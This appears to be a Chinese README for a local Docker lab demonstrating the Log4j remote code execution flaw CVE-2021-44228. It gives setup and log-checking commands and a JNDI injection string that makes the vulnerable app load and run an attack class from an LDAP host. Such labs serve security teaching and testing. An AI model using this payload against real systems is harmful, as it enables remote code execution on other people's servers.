log4j2的远程代码执行漏洞(CVE-2021-44228)的实际测试项目。
docker-compose up
log4j容器启动后需要一段时间才能使用。请使用以下命令确认进度。
docker logs -f log4j
当显示Server started: Listening on port 8081时表示准备就绪。
确认log4j容器的/root目录。
docker exec log4j ls /root
初始状态下,仅存在work目录。
访问http://localhost:8081/。这是一个仅将表单中输入的名称输出到画面和日志的简单应用程序。
在表单中输入${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}并提交。
确认log4j容器的/root目录。
docker exec log4j ls /root
攻击者准备的代码被执行,应该会生成之前不存在的文件。文件名使用时间戳,因此攻击次数越多,新文件也会随之增加。
确认ldap容器的日志,可以看到来自log4j容器的SEARCH请求。
docker logs ldap
确认web容器的tomcat日志,可以看到来自log4j容器对Exploit.class(用于攻击的类)的访问。
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*